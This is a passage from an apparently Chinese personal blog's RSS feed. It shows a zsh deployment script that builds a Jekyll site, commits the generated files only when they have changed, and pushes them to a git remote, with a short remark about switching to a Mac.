</span></span><span class="line"><span class="ln">18</span><span class="cl">git push origin main  <span class="c1"># 想替换全部文件为最新，加 --force</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;完成 ✔&#34;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sh</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h3 id="站点推送">站点推送<a class="anchor" href="#站点推送">#</a></h3>
<p>由于换了 mac，很多东西都简化了，没有以前那么复杂，而且 jekyll 也没什么附加的东西，目前这个主题除了没有加密功能，其他都挺好。</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#!/bin/zsh
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nv">BLOG_DIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/Blog-jekyll&#34;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nv">SITE_DIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$BLOG_DIR</span><span class="s2">/_site&#34;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;[1/3] 构建 Jekyll...&#34;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="nb">cd</span> <span class="s2">&#34;</span><span class="nv">$BLOG_DIR</span><span class="s2">&#34;</span> <span class="o">||</span> <span class="nb">exit</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">bundle <span class="nb">exec</span> jekyll build
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;[2/3] 提交静态文件...&#34;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="nb">cd</span> <span class="s2">&#34;</span><span class="nv">$SITE_DIR</span><span class="s2">&#34;</span> <span class="o">||</span> <span class="nb">exit</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="c1"># 只有有变更时才提交</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">if</span> ! git diff --quiet <span class="o">||</span> ! git diff --cached --quiet<span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  git add -A
</span></span><span class="line"><span class="ln">16</span><span class="cl">  git commit --allow-empty -m <span class="s2">&#34;站点更新：</span><span class="k">$(</span>date <span class="s1">&#39;+%Y-%m-%d %H:%M:%S&#39;</span><span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;⚠️  无变更，跳过提交&#34;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;[3/3] 推送...&#34;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">git push origin main  <span class="c1"># 想替换全部文件为最新，加 --force</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;完成 ✔&#34;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sh</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
]]></content:encoded><h:img src="https://h4cker.zip/39697d/github1.webp"/><enclosure url="https://h4cker.zip/39697d/github1.webp"/><atom:updated>2026-06-16T02:09:28+08:00</atom:updated><category>技巧</category><category>git</category></item></channel></rss>